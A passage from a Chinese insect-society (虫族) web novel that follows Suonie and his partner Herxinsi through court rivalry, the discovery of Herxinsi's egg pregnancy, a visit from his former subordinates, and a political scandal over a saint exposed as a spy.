可不值得你走一条没有未来的路。” 索涅与他对视, 赫尔辛斯无声地用指尖点了两下他的手心。 索涅唇角微扬,反手握住雌虫的指尖, 慢条斯理地靠在座椅上,“我这种升斗小民,这一辈子有希塞尔一只雌虫就已经满足。” 西沙脸色微沉,“一只雌虫?你是A级,应该以博爱的胸怀去治愈更多雌虫, 怎么能这么浪费你的能力?” 一只高级雄虫起码能带来三只高级雌虫,他们绝不允许手底下的雄虫浪费各自雌君雌侍的位置。 “博爱的胸怀?”索涅说这句话的时候差点没笑出来,“抱歉,我并没有这种高尚的东西。” 利益就是利益, 还包装得冠冕堂皇。 “……”西沙一时无言,但索涅经历之坎坷,更加证明他比其他雄虫都有能力, 完全值得争取。况且艾浮那个蠢货一上来就想从他手里抢东西,西沙当然不会忍气吞声。 这只雄虫没有家族支撑,他本以为会很好拿捏,没想到是个硬茬。 索涅百无聊赖地研究着赫尔辛斯的手指,把雌虫的指腹揉得通红。 他凑到雌虫耳边说了句什么,然后彼此相视而笑。 被这样忽视,西沙的脸色不大好看。 “我亲爱的哥哥,埃拉里尔可是在到处找你,你怎么躲到这儿来了?”身后传来一道做作的温和嗓音。 西沙身上的气压一下低到可怕,冷冷看着和他一样穿白袍子的雄虫,“我和这位阁下聊得正开心,一时没注意时间,埃拉里尔呢?” “我们都想找你,所以分头行动了,”艾浮瘦得像具干尸,坐下时沙发都没下陷,“索涅阁下,联系过那么多次,这还是头一次见到真容,我是艾浮·梅尔加。” 索涅感到一阵荒谬,这两只虫子在这儿搞什么幺蛾子? 什么叫相谈甚欢? 什么叫联系多次? “看来我送给你的雌虫你很满意,”艾浮调侃地看着索涅和希塞尔握在一起的手,眼睛深处闪过一丝不屑,“我两个月才找到这么一只合你口味的雌虫,之前是联盟对不起你,希望你见谅。” 他们的对话在光屏上滚动着,虫子们隐隐地都在注意这边。 两位圣子争夺一只边缘星来的雄虫,这场面还真是难得一见。看来这只雄虫要么是明日新贵,要么成为轰轰烈烈的炮灰。 “……偶然的失误确实难以控制。”索涅面上仍旧没什么变化,拉着赫尔辛斯站起身,纯黑的昂贵衣袍堪堪遮住脚踝,身量和他旁边的雌虫相差无几。 艾浮和西沙不得不仰头看着他。 “实在抱歉,我身体不好,头痛得厉害,先失陪了。”他面如平湖,谁也看不出来他到底是不是找的托辞。 “没事,那先回去吧,注意身体。”西沙抢先一步说。 艾浮眼神冷漠,袖子快被揉成抹布。 索涅点点头,拽着雌虫的衣袖慢悠悠地穿过四散的座位,走到门口的亚雌旁边,还顺手还了蓝宝石。亚雌下意识看了一眼艾浮,知道大事不妙。 珀斯厅里的虫子们面面相觑,好家伙。 乡巴佬好大的胆子,梅尔加的两位圣子没一个好惹的,竟然敢无视他们的招揽直接回家?! 上一个这么做的…… 他们下意识看向独自坐在窗边,从头到尾保持缄默,自成一界的白袍雄虫。 他们心思活泛。虽然说上一个这么做的最终成了圣子之一,但身后除了他的雌君就没有其他追随者。他的雌君虽然是苏利亚的S级雌虫,但上头有个不对付的安莫因压着,成不了气候,明摆着必输无疑。 这种受虫神眷顾的绝世犟种,怎么可能出第二个? …… 索涅和赫尔辛斯没有立刻回去,头疼是真的,但也没有到需要马上回家的地步。索涅戴上兜帽,和赫尔辛斯缓缓地在廊桥上散着步。 前几天看,圣山上还有部分露出的灰色岩石,今天大雪纷飞,不到半天就将整座山变成纯白的仙景。 索涅侧头想和赫尔辛斯说话,却发现在雪的衬托下,雌虫向来只比肤色略深的唇泛着嫣红。这模样只有被他亲狠了才会露出来。 索涅忍不住凑上去干了件坏事。 赫尔辛斯下意识摸了摸自己被咬的下唇,他看向索涅,发现他的雄虫唇角翘起,模样有些狡猾。 赫尔辛斯觉得这种狡猾完全是可爱,于是他也凑到雄虫的兜帽下,精准地吻上那双柔软的唇。 茫茫大雪遮住了守卫们雪白的制服,不过他们戴了雪镜,清清楚楚地看到廊桥上甜甜蜜蜜的两只虫子。 “哎,你看,那是不是两只雌虫在亲嘴?”其中一只百无聊赖的守卫震惊地拍打他队友的胳膊,“光天化日之下,还是在珀斯神的门前!简直伤风败俗!” 被打的守卫不以为意,“这种事少见吗? “——我靠!穿斗篷那个怎么那么像蓝色行星!”他看过去瞬间一懵,不信邪地揉了揉眼睛,正好那两只虫不依不舍地分开,那露出一截的下巴虽然弧度不像,但气质和比例简直一模一样! “……谁?”这怎么听着像个网名。 “深度决斗最近冒出的一个黑马,据说最开始搞了身雄虫的行头,后来挂被封掉,他就开始报复社会疯狂打擂台。”守卫一眨不眨地盯着那只虫,直到越来越近,他的眼睛也越睁越大。 虫神啊……这居然是一只雄虫?! 他不可置信的盯着雄虫看,结果被他身边的雌虫冷冷地盯了一眼。 他想起来了,刚才是有队友跟他吐槽怎么还有雌虫戴面具,原来是这两位。 所以这只雄虫是蓝色行星?蓝色行星是一只雄虫?! 他不想相信,可是这只雄虫的体型气质都和蓝色行星一模一样,深度决斗又只能捏脸不能捏身体,蓝色行星用过雄虫挂却没被封号……难道说那么多雌虫都是败在这只雄虫手上? “这位阁下肯定不会打擂台,你还想这事呢?别太天马行空了,”他队友语气里带着一丝感慨,“不过他对那只雌虫真温柔,肯定不会吝啬精神梳理。” “得了吧,没成年的志愿者,那只雌虫身上的信息素浓得都溢出来了。”他依稀嗅到那只雌虫身上醇厚的香味,像是某种糕点。 可惜这些逸散芳香物质已经失去活性,变成一种香水了…… 晚上仍旧漫天大雪,恩修和莱昂兹拎着一堆自制半成品敲响了索涅的大门。 索涅打开门让他们进来,带来的一堆东西摆满了餐桌,他不禁无奈,“不是说我请你吃饭?” “哪能空手上门,”恩修严肃地说,随即开始清点礼品,“这是我做的,这是莱昂兹做的,这是我教莱昂兹做的……” “你这什么奇葩分法?”索涅挑出一包肉丸看了看。 “肉丸是我做的,”恩修立即强调,“他还没出师,万一败了我的名声怎么办?” “你有什么名声?”索涅好奇。 恩修:“未来的星际名厨。” “……” “还是莱昂兹靠谱,”索涅无情地扭过头,“莱昂兹,挑一点适合晚上吃的,赫尔辛斯才刚开始准备。” 说完他撸起袖子走进厨房。 莱昂兹愣愣地看着索涅,原来这只雄虫也会做饭。 “看傻了?”恩修把他拽过来,塞了一大堆花茶包给他,“别想了,那是赫尔辛斯的雄主。” “我没有!”莱昂兹焦急地解释,他和赫尔辛斯关系还不错,不想让对方误会,“我只是惊讶索涅阁下也会做饭。” “哼,谁知道怎么回事。”恩修整理着食材。 莱昂兹半天没声,他余光扫过去,发现雌虫正低着头和混在一起的彩色蔬菜面较劲。 “行了,又不是不能混着吃,”恩修从他手里解救出干面条,戳了戳雌虫鼓鼓的白软脸颊,“生气了?” “……没有。”大白馒头侧头躲开他的手指。 “好啦,我和你开玩笑的,我知道你是只正经虫子。”恩修说完,再次戳了戳他,这次大白馒头没躲。 他简直……不是大白馒头,是个糖包子…… 莱昂兹胃口大,训练强度也高,浑身上下的肌肉长得恰到好处,又圆又翘还非常紧致,一看就很有手感,就是性格老实得过分。 就算莱昂兹长得再诱人,恩修也只会把他归类为憨厚,和他喜欢的放浪大胆挂不上一点边。 “你们两个干嘛呢?”索涅狐疑地盯着他们,尤其是恩修。 他觉得恩修的眼神非常不妙,有种下秒就要把莱昂兹摁地上扒光的感觉。 索涅对两个男人搞对象浑身发毛。 ——他和赫尔辛斯不算。 第34章 我怀蛋了 如果在家里,平时赫…… 如果在家里, 平时赫尔辛斯已经不戴面具了,可今天恩修和莱昂兹要来,他又把面具戴回了脸上。 索涅没什么事可做, 靠在橱柜边盯着赫尔辛斯的面具瞧。 “恩修这家伙。我还是觉得他喜欢莱昂兹, ”他说, “眼珠子都快掉在莱昂兹身上了。” 赫尔辛斯那天和莱昂兹成为朋友, 最近对方正在频繁相亲, 也和他讨要勾搭雄虫的办法。赫尔辛斯没什么可以教给他, 倒是通过聊天听出一点端倪。 “莱昂兹不认为恩修阁下喜欢他。”赫尔辛斯说,“他似乎对雄虫没什么要求,一个劲儿地相亲, 但又总是失败。” 雌虫手起刀落杀死一条鲜活的鱼, “莱昂兹似乎说过恩修阁下不喜欢他的性格。” “我看他喜欢的不得了, ”索涅哼笑一声,“就喜欢欺负莱昂兹, 惹毛了又巴巴地哄。” 赫尔辛斯也觉得这画面挺好笑:“您想撮合他们?” 索涅不置可否,觉得这事儿还有的磨。 这场雪下了整整一天一夜,索涅早上从床上爬起来拉开窗帘,树木的颜色都几乎看不见,满目洁白。 可能是冬天到了, 赫尔辛斯最近有些嗜睡。雌虫的生物钟极为强大,嗜睡也超不过八点,起来没看到索涅,下楼时果然望到厨房里一道身影。 自从索涅识破他的伪装, 情绪似乎日渐稳定,不再像之前那么厌世冷漠,多少有了点生气。 自己对雄虫有这么大的影响力, 赫尔辛斯不觉得骄傲高兴,他反而担心索涅。他们的处境并不安全,要是他有一天真的死了,索涅又该怎么活下去? “起来了?”雄虫从厨房走出来,穿着家居服,“我煮了一点恩修带来的丸子和面,还有什么想吃的?” “够吃就行,您起得真早。”赫尔辛斯走到雄虫身边,伸手抱住他。 “……怎么了?”索涅下意识搂住雌虫。 “喜欢您。”雌虫的声音从耳边传来,沉闷如远雷。 “大清早就说这种让我想亲你的话,”索涅唇角上扬,真的在雌虫脖颈上亲了一口,“最近是出什么事了吗?” 水开了,白色蒸汽翻滚上升。索涅捞出面盛在碗里,大份放到赫尔辛斯面前。 “没有,您怎么会这么觉得?”赫尔辛斯有些迫不及待地叉起一个大丸子。 索涅若有所思地看着他,“你最近睡觉时间变长了,胃口也大了一些,不过不多,可能是猫冬吧。” 赫尔辛斯动作微滞,开始回想自己最近的变化。 索涅不做他想,一边和赫尔辛斯聊着一些小事,一边吃早餐。 然而有一只雌虫却独自想了一整个上午,越想越心惊。 这些全部都是怀蛋的症状,难道他…… 也不奇怪,他和索涅从来都是毫无顾忌,除了特殊的几次,事后索涅都会帮他深度清理。他还以为年纪轻的雄虫不喜欢崽子。 赫尔辛斯躲在房间里,偷偷地朝虫纹探入一丝精神力。 良久之后,他紧张得满身大汗,才发现精神力终于被某个东西吃掉了一丁点。虫蛋应该还小,连蛋壳都没发育出来,只在他的精神丝上啃了小小的一口。 赫尔辛斯长舒一口气,放松地躺在床上,脑海里乱七八糟,不一会儿连长着索涅模样的小崽子都幻想出来了。他不知道到底是哪一次使他怀上了虫蛋,或许是雄虫手指下的漏网之鱼? 狂喜过后,无缘无故的,深切的担忧像水草一样缠住了他。 是雄蛋还是雌蛋?索涅会喜欢吗?他的雄虫看起来对蛋没有一点心理准备…… 他的雄主年纪太小了,才二十一岁。他总是在索涅的稳重和温柔里忘记对方有多年轻。 “困了?”索涅突然推门而入,发现雌虫正躺在床边,神色里有些惊慌和不自在。 “犯困就睡吧,怎么跟做贼一样,”他心中好笑,“偷偷地从一楼跑上来,也不跟我说一声。” 他俯身亲了雌虫一口,将他拉起来推倒在枕头上,摘下拖鞋,又给他盖上被子。 赫尔辛斯这才发现,雄虫额头苍白的皮肤上有一层细密汗珠。 索涅发现他不见了,一定是找遍了一楼才来卧室找他,急出一头白汗。 “对不起,让您着急了……”雌虫小声地说。 “是我的问题。”索涅很清楚,他离不开赫尔辛斯,雌虫不过是一会儿不见踪影,他的脉搏就应激似的狂跳。 “睡吧。”他坐在床边,给雌虫拉高被子,低着头出神,不知道在想什么。 赫尔辛斯闭上眼睛,雄虫呼吸轻缓,几乎无声。 将近五分钟的寂静,索涅以为雌虫已经睡着,一道又轻又低的声音在他耳边炸响。 “我怀蛋了。”雌虫说。 索涅犹如一个木偶般缓缓扭头,常年不见天日的上半个瞳仁终于露了出来。 “……什么?”他僵硬又茫然地问。 大脑已经反应过来雌虫说了什么,但思维复杂神经堵塞,他表情一片空白。 雌虫不自在地坐起来,长发落在索涅手背上,那根手指猛烈地颤了一下。 “我……可能怀蛋了。”雌虫的声音更小了。 “……怀蛋……”索涅机械地看向雌虫的小腹,被子盖在上面,什么都看不到。 赫尔辛斯怀上了。 是一枚蛋。 他的。 “您不喜欢虫崽?”雌虫低声问。 他的声音沙哑,像一张纸在索涅耳朵上摩擦。 几秒的时间里,房间落针可闻。 “不是不喜欢,”索涅的目光不由自主地落在雌虫小腹上,“我只是……没想过。” 没想过赫尔辛斯会怀蛋。 更没想过会来的这么突然。 雄虫的脸色不太好看,倒不像是厌恶或不喜,更像是单纯被吓到了。 赫尔辛斯有些后悔,“我不应该这么突兀地告诉您。” 索涅思绪复杂,但雌虫眼睛里的忐忑还是扎了一下他的心脏。 “先休息吧,放心,我不是不喜欢小崽子。”他安慰地笑了笑,将赫尔辛斯重新推倒在枕头上,严严实实地盖上被子。 “你是……怎么查出来的?用什么试纸,还是偷偷去了医院?”索涅思来想去,赫尔辛斯一直和他待在一起,难道说半夜偷摸出去检查有没有怀蛋? “没有,”雌虫摇头,侧躺在床上,“虫蛋会吞□□神力,我刚才观察到的。” “□□神力?!”索涅瞬间眉头锁紧,“是不是会对你造成负担?会有危险吗?” 赫尔辛斯失笑:“虫蛋从怀上到产出,一共才吃掉母体十分之一的精神力,您不用担心。” “……一点也不少,”索涅没以前好忽悠,“不行,下午我们去一趟医院,好好给你做个检查。” “不久前才去过。”赫尔辛斯说,“我只有皮肤上的这些……” “再检查一次,”索涅坚持道,顺便翻上床搂过雌虫的腰,“别压着左脸,不难受?” “我陪你一起睡。”他闭上眼睛,和雌虫额头相抵。 赫尔辛斯看着雄虫的脸,竟然不舍得就这么闭眼。 他的视线实在太强烈,索涅又睁开眼睛,“怎么不睡?” 赫尔辛斯凑过来吻在他唇上,眼含笑意,“您的心脏快要跳到我怀里了。” 索涅:“……” 他现在确实有些紧张,心里乱七八糟想了一堆事情。很久以前,院长跟他说“生了娃娃记得让我看一眼”,损友老是调侃他面相能止小儿夜啼。还有不久前,恩修的一语中的,他得承认这家伙有两把刷子。 “我吵到你了?”索涅有些不好意思。 和赫尔辛斯一比,他确实像个大惊小怪的毛头小子。 “不,我在听您的心跳。”雌虫挪动着靠近他,脸颊贴在索涅肩头。 他弯着眼,认真地夸赞:“您长肌肉了。” 索涅耳朵泛红:“……你能不能不要老是用这种语气夸我。”他不是小孩! “我觉得您喜欢。”赫尔辛斯这回没有答应他。 “……随你。”索涅认为靠这么近也不是一件好事,他心情的变化都被雌虫听走了。 怪丢人的。 “赫尔辛斯,不舒服一定要告诉我,你才是最重要的。” 索涅学过,雌虫们普遍非常喜欢蛋,甚至有一些身体状况不允许的雌虫,也会耗尽血肉生下一枚蛋。虫族对繁衍的追求有时让他感到恐怖。 雌虫眼尾弯起:“您比我更会说甜言蜜语。” “等做完检查,我还有一件事要告诉您,”雌虫的唇贴着他的心窝,“您可能会生气。” 事实上他觉得雄虫一定会生气。 “能一次性全部告诉我吗?”索涅心累,到底还要刺激他多少次?赫尔辛斯的语气听起来可不太妙。 “我怕您生气,”赫尔辛斯解释道,“如果我确实怀了虫崽,您就不会太生气。” 索涅:“你揣测我的时候可以不用告诉我。” 赫尔辛斯没说话,只是靠在他身上闭眼假寐。 索涅没脾气地等了一会儿,发现雌虫睡着了,呼吸平缓而沉稳,轻柔地扑洒在他脖子上。 “……”心机的虫虫。 第35章 请您吻我 一枚雌蛋 “您的雌虫确实怀了一枚蛋, ”医雌难得见到雄虫和雌虫一起来,说话顿时多了许多顾忌,“不过, 是一枚雌虫蛋。” 赫尔辛斯有些失望, 雌蛋的样貌很可能会遗传他, 而不是索涅。 索涅凝重的表情大概给医雌造成了某种误会, 医雌看了一眼游神的雌虫, 对索涅说:“如果发育得好, 这枚雌蛋的等级会很高。” 索涅对雌蛋还是雄蛋、虫崽的等级都没有执念,但在这个社会,如果崽子等级高, 生活会容易一些。 “怎么样才能发育好?”他问医雌。 医雌用词委婉:“雌蛋的发育并不需要您太多精神力, 只要每周一次正常的精神梳理就行, 它会从母体汲取其他能量。” 索涅眉头一下子锁在一起:“一周只能一次?我能不能多给一点。” “……是一周至少一次,”医雌诧异一秒, 立刻转变语气,“您给的越多,雌虫付出的就越少,请不要超过四次,不然虫蛋会变得贪婪, 成倍地从母体掠夺。” 索涅觉得这项像某种东西寄生在赫尔辛斯肚子里。 他们拿了一堆激素试纸,还买了一个死贵的仪器,方便随时检查虫崽状态。 回去的路上,索涅跟赫尔辛斯说了自己的感受。 “您的想法是对的, ”赫尔辛斯竟然认同他,“卵是以寄生的状态在母体发育,它的一半毕竟来自于您, 所以也需要您的帮助才能完整产出。” “您不用担心,”他感觉到雄虫如临大敌的情绪,心里好笑,“我们现在的频率和强度就很好,不需要改变。” 今天晚上,索涅显得有些小心翼翼。 赫尔辛斯被磨得难捱,翻身坐在雄虫腹部,动作大起大落。 “小心点……”索涅心惊胆战。 赫尔辛斯俯身堵住索涅唠唠叨叨的嘴。 “请您吻我。”他说。 短短的四个字,轻易勾起雄虫浑身的邪火。 窗外寒风呼啸,屋檐的积雪被吹动,重重地砸在地上,发出沉闷的响声。 “啪嗒”。 什么东西落在地上的声音。 巡夜的机器鹰闻声而动,在附近四处徘徊,血红的眼睛里安装着红外显像和磁流感应装置,却除了掉落的积雪,什么都没发现。 机器鹰们缓缓地聚集成一队,又开始慢悠悠地飞行盘旋。 楼体间的阴影处,一只健硕的雌虫正被捂着嘴巴,浓重的黑色向内蔓延,顺着钳制他的那只手臂,依稀可以看到后面一只同样浑身裹得严严实实的虫子。 健硕雌虫也穿着同样的装备,他瞪大眼睛看着机器鹰在一米之外飞过,却根本没有发现他们,这才松了口气。 他身后的虫子狠狠地瞪了他一眼,拽着他精准地踩着机器鹰的巡逻死角,朝其中一幢房子靠近。 这是一座带前后花园的别墅,顶层屋檐被厚厚的积雪覆盖,二楼的露台还亮着暖黄色灯光,照亮了院子里那些不惧严寒的鹿角花。 “我们现在怎么办?”健硕雌虫荷鲁斯低声问。 莫尔亚声音平静:“当然是等天亮,他现在说不定正和雄虫滚床单,你想找死我可不想。” “……嗷。” 荷鲁斯挠了挠头,跟着莫尔亚一起钻到房子周围的树丛里,坐在地上干等。 “莫尔亚,你说老大有没有把我们的事告诉雄虫?”安静了一会儿,荷鲁斯又问。 “我怎么知道,”莫尔亚闭目养神,“赫尔辛斯是说过这个想法,但没说什么时候。” “伊卢也已经几天没有消息了,”荷鲁斯一直担心这个,“不知道他成功没有。” “你应该想想万一他过于成功该怎么办。”莫尔亚说。 “你不相信伊卢?!”荷鲁斯震惊。 “不是不相信他,但那毕竟是A级雄虫,伊卢的精神域情况不容乐观。”莫尔亚说。 “……伊卢只是需要时间。”荷鲁斯沉默过后说。 莫尔亚倒是没有再反驳他。荷鲁斯这个家伙,虽然冒冒失失的,但对同伴的信任挺难得。 黎明的时候又飘起了小雪花,他们两个像冰雕一样一动不动,浑身落了一层薄薄的积雪,要是被谁发现,估计以为他们已经被冻死了。 其实裹在温暖的防护服里,他们要打起精神才能不昏昏欲睡。 一阵轻微的嗡嗡声由远及近,是机械配送员在拖着大箱子挨家挨户配送食材,其中一只停在索涅家门口,伸出机械臂摁了一下门铃。 雄虫身上裹着一件单薄长袍,苍白的脚踝裸露在外。他接过食材,又拿出一个小能源钮塞给小机器。 小机器露出马赛克憨笑,又成功得到一个摸摸头。 莫尔亚刚打起精神准备联系赫尔辛斯,就看到一只披散着灰绿长发的雌虫冲出房子,将手里的毯子披在他们老大的雄虫身上。 莫尔亚的脸瞬间就绿了,这么快就娶了第二只雌虫?! “……莫尔亚,你没事吧?”荷鲁斯感受到莫尔亚身上比冰雪还要渗虫的冷气。 莫尔亚深吸一口气,“联系赫尔。” 赫尔辛斯,家门不幸啊。 这头,索涅抱着一个大箱子,正在安慰赫尔辛斯,“别担心,就一小会儿。” “应该让我来。”雌虫想去拿箱子,被索涅躲开。 毯子差点掉在地上,索涅将大箱子夹在胳膊下,一只手拽住毯子。 “好啦,进屋吧,今早我们吃点儿不一样的。” 赫尔辛斯转身,进屋前若有所思地瞥了一眼屋外的树丛。 “……他是不是发现我们了。”荷鲁斯问。 莫尔亚:“不明显吗?” 荷鲁斯:“……” 赫尔辛斯关上大门,心里还在想着刚才那个传来微弱精神力波动的树丛。 “看我给你露一手,”索涅把买来的溜达鸡和香料处理好,统统扔进汤煲里,“微小火炖三个小时,刚好中午喝。” 赫尔辛斯没见过这种只放肉和香料的做法,“我给您做早饭。” “你有另一件事做,”索涅冲他笑了一下,“昨天说要再告诉我一件让我生气的事,现在说吧。” 他从冰箱里拿出恩修带来的半成品,又从刚才取回的保温箱里摘出两大颗绿叶菜。 赫尔辛斯有些犹豫,但他觉得不应该再瞒着雄虫。 “之前在003星,我就联系到了之前的部下。”他低声说,观察着索涅的表情。 “他们提前退休了,成立了一个冒险团,”说难听点就是合法星盗,“一直在找救我的办法,发现我已经不在深渊茧房后,他们希望我跟他们离开。” 索涅“咔擦咔擦”地切着生菜,“那你为什么没走?” “您知道的……”赫尔辛斯顿了一下,“圣托的事发生后,我有一段时间和他们失去联系,前几天才联系上,他们获得了进入主星的通行证,但无法进入圣山范围。” “你想去找他们?和他们见面?”索涅将大肉丸子劈成两半扔进锅里。 厨房里一时只有沸水咕噜的声音。 “……是的。”雌虫最终低声说。 “行,吃完午饭你们约个地方,我和你一起过去,我在远处等你。”索涅说。 “您答应了?”赫尔辛斯想不到雄虫竟然会这么平静。 “你们准备做什么,得提前告诉我,”索涅说,“别让我发现你某一天又不见了。” 赫尔辛斯上前搂住雄虫的腰,“您生气了。” 索涅终于哼了一声,“骗我还不让我生气?要是你早告诉我,也不至于让你在这么不方便的地方才和他们碰面。” “赫尔辛斯,我真讨厌这种必须看着你涉险的感觉。” 赫尔辛斯吻在他侧脸,“谢谢您。” “少贿赂我,吃饭。”索涅不吃这招了,太浅显。 赫尔辛斯正要端碗出去,怀里某样东西突然震了一下。 他看了索涅一眼,掏出小圆钮打开,瞬间瞳孔微缩。 “怎么了?”索涅一转身,刚才好好的雌虫突然就神情凝重。 “他们来了。”赫尔辛斯说,“就在门外。” 索涅:“……” 赫尔辛斯有这样一群刀尖起舞的部下,到底是好事还是坏事? 半小时后,索涅看着两位黑衣刺客从他家后院的窗户挨个翻进来。 “你们怎么敢流窜到离圣山这么近的地方?”赫尔辛斯感到匪夷所思。 “老大,你那是什么话,”荷鲁斯抗议,“我们也是想尽快见到你,刚才差点认错虫,话说你怎么变绿了?” “情势所迫。”赫尔辛斯没多解释,给索涅介绍这两只雌虫。 “阁下您好。”雌虫们说。 “你们好。” 索涅提来一壶茶水,让赫尔辛斯把雌虫们领到二楼闲置的房间,穿这么黑的两只虫子待在客厅里,也太危险了。 “老大,”荷鲁斯看到雄虫离开,凑到赫尔辛斯旁边,“你怎么让雄虫干活儿。” 他都担心索涅把他们和老大一起赶出去。 赫尔辛斯已经习惯和索涅各自做事,让荷鲁斯别担心这些。 “雄主本来已经答应,中午让我去见你们,”赫尔辛斯面色沉下来,“这破主意谁出的?” “我。”莫尔亚说。 赫尔辛斯说:“你也一把年纪了,怎么能干出这么不着边际的事?” 莫尔亚以前就不怕他,现在更不怕。 “我有我的办法,你又不是不知道,”他悠悠地喝了一口茶水,“潜入圣山也易如反掌。” “你确定?”赫尔辛斯说。 莫尔亚气定神闲地喝着茶,却不说话了。 第36章 卧底之王 “老大,他就是随口吹个牛,…… “老大, 他就是随口吹个牛,你怎么还较上劲儿了,”荷鲁斯抱怨他们, “你们能不能说点儿正事?比如我们这么偷偷摸摸会和是要干嘛?” “乌尔加被安斯族抓了。”莫尔亚语气平淡地放出一个大炸弹。 “第三军的乌尔加?!”荷鲁斯惊声。 “不可能!安斯族这次的装备根本不如第三军!乌尔加更不可能输!” 赫尔辛斯则皱起眉, “你在里面做了什么?” “不是我, ”莫尔亚耸肩, “我是不可能在战争上动手脚的, 你也太让我伤心了, 竟然这么怀疑我。” 他的表情可没有一点伤心的意味,“我又没说联盟输了。” “什么意思,联盟没输, 指挥官却被抓了?”荷鲁斯不明白。 “牺牲品, 和我一样。”也就赫尔辛斯有耐心给他解释。 “别的不重要, 这是一个机会,赫尔辛斯, 你的那只雄虫可是A级,”莫尔亚似乎对索涅很有把握,“这么大的篓子,那位的位置不可能坐得稳当。” “你们……不会要造费伦斯殿下的反吧?”荷鲁斯表情呆滞。 “你说话能不能带点儿脑子!”莫尔亚狠狠地瞪了他一眼。 “他说的是图泽圣子,乌尔加的雄主。”赫尔辛斯说。 “老大你们两个能不能不打哑谜。”荷鲁斯卑微恳求。 莫尔亚没理他, “天降大馅饼,赫尔辛斯,你要是错过我都看不起你。” “你真的没动手脚?”赫尔辛斯狐疑地问。 就在这时,索涅敲响了门。 “你们饭量和赫尔辛斯一样吗?”雄虫推门进来。 “他们比我小。”赫尔辛斯连忙起来, “您不会已经做好了吧?” “还没有,我正准备煮饭。”索涅说。 他们两个边说边笑离开了。 荷鲁斯挠了挠头:“是我理解的那个意思吗,雄虫在做饭?” 莫尔亚丝毫不以为奇。 他们两个去帮忙, 但根本插不上手,索涅和赫尔辛斯配合得很完美。 索涅看到被拿出来的大茶壶,顿时揪住雌虫的衣服,面无表情,“赫尔辛斯,你不会喝饱了吧?那我的汤怎么办。” 莫尔亚手一顿,用眼神询问赫尔辛斯:你怎么没告诉我还有汤? 这次是赫尔辛斯没理他,“我一杯都没喝完,莫尔亚可能是口渴。” 他听到莫尔亚在背后磨牙。 汤水清亮,是索涅想象中的样子,就是不知道味道怎么样。当看到雌虫喝到汤后眼睛一亮,他顿时就松了一口气。 “您好厉害。”赫尔辛斯很喜欢这个味道,口感没有常见的汤那么黏糊。 “我还担心会做失败,”索涅唇角挂着柔和的笑意,耳朵有些泛红,“你差不多行了,语气好夸张。” 莫尔亚和荷鲁斯默默地坐在他们对面吃饭。 荷鲁斯觉得这个场景分外奇怪,可又说不上来哪里奇怪。 或许是奇怪的方面太多了,并且浑然一体得如同整个世界都这样,他一时找不到从哪儿开始惊讶。 “老大,”赫尔辛斯终于不再和雄虫调情,荷鲁斯瞅准机会说话,“你要和我们走吗?” 索涅顿时盯住他,阴沉的三白眼里流露出一股怨气。 荷鲁斯心里发毛,莫尔亚看他的眼神仿佛在看傻缺。 “赫尔辛斯,”索涅看向他的雌虫,眼尾耷拉着说,“你要走吗?” 他这模样简直如同一只落汤小狗,赫尔辛斯的心瞬间软得化成一滩水,他瞪了一眼荷鲁斯,安慰索涅:“我不会离开,您忘记了?我很需要您。” “你是因为怀蛋所以才不愿意走?”索涅望着他的眼睛。 莫尔亚&荷鲁斯:“你怀蛋了?!!” “您明知故问,”赫尔辛斯无奈地对索涅说:“我还没告诉他们怀蛋的事。” 索涅顿时无心玩闹,他不会打乱了雌虫的什么计划吧? “你怀蛋了不告诉我们?赫尔辛斯你不讲义气!”莫尔亚看起来很激动,“几个月了?雌蛋还是雄蛋?我那儿有很多适合孕期的补品——” “你为什么会有那种补品?”荷鲁斯敏锐地问。 莫尔亚:“……那种补品又不是只有孕期才能吃。” “嗷。”荷鲁斯什么都没怀疑,继续埋头扒饭。 莫尔亚抬头,果然看到赫尔辛斯和索涅正一脸探究地看着他,他顿时干笑;“呃,我过几天拿给你,反正我也用不着。” “莫尔亚,你要是怀上了记得告诉我们,我知道你是一只有义气的雌虫。”赫尔辛斯说。 莫尔亚呵呵一笑,吃完饭迅速带着荷鲁斯溜了。 “小频道联系,别让我抓到你又失联!”他留下一句话,裹上袍子又从窗口翻了出去。 索涅:“……既然可以线上联系,为什么要这么大费周章?” “这些对他来说很容易,他是想来看看我的情况,刀子嘴豆腐心的家伙。”赫尔辛斯无奈,“我和他们从圣托上学时就认识,已经过了二十多年了。” 索涅很少意识到他和赫尔辛斯的年龄差距,他沉吟,“也就是说,你比我大二十多岁?” 真没想到我有一天会干出这么惊世骇俗的事情。索涅在心想着。 “那你看我岂不是像个毛孩子?”索涅发愁。 赫尔辛斯没想到为这件事发愁的居然不是他,而是他的小雄主,“没关系,您的精神力和信息素让我知道您已经成年。” 索涅:“虫虫……你是不是又想要了?” “等晚上再说,我作业还没写完。” 赫尔辛斯耳朵涨红,雄虫这是故意的!显得他好像一个饥渴的大龄孕雌。 ……他又不算大龄,正在青年呢,只是雄虫太小了。 赫尔辛斯和莫尔亚他们又聊了什么,索涅不得而知,不过没几天星网上就开始沸沸扬扬,深居简出的图泽圣子那唯一的雌虫被捕了。 消息不知真假,但不妨碍一些雌虫高兴。 没过多久另一个更炸裂的消息渐渐传开,乌尔加·苏利亚被判定为背叛虫族,不予救援。图泽圣子不关爱民众、身为高级雌虫却不多娶雌虫、自私自利不配当圣子的言论又开始甚嚣尘上。 多年前图泽宣布除乌尔加之外不会娶其他雌虫,星网当时各种言论甚嚣尘上,差点炸成烟花给他助兴。 没想到几年后因果倒转,图泽珍而重之的雌君竟然是个叛徒!他几乎沦为笑柄,对虫族是否忠诚也倍受怀疑。 虽然几乎毫无痕迹,但这件事的始作俑者一目了然。 乌尔加是白玉峰王族的顶S级雌虫,同时还是第三军很有实权的上将,下一任议会委员长的有力竞争者,他几乎是凭一己之力托着图泽。这一手不仅将乌尔加摁死在叛族的耻辱柱上,还妄图借助舆论的手弄死图泽。 图泽是真的几乎不出来活动,即便外面再风起云涌,别的虫也不能闯到圣山当面质问。 这算是住在圣山的为数不多的好处。 当赫尔辛斯突然问他想不想竞选圣子,索涅毛骨悚然:“我?” 图泽仅仅是因为瞳孔小就被怀疑是安斯族,他可是个正儿八经的异族啊! 他是想着在军部有一番成就,能保护赫尔辛斯就行。他的雌虫眼界就是不一样,直接想让他取而代之成为圣子。 “图泽阁下确实是安斯族,艾浮成功提取到了他的基因。”赫尔辛斯一句话让索涅思维燃烧了。 “那,乌尔加呢?” “图泽阁下才是真正的卧底,只差一步就能卧成我族执政官。”赫尔辛斯叹了口气,“莫尔亚忙得不见踪影,这件事可能过不久就会被爆出来,如果您想竞选圣子,我们得早做准备。” 他的雄虫似乎确实没想过做圣子。 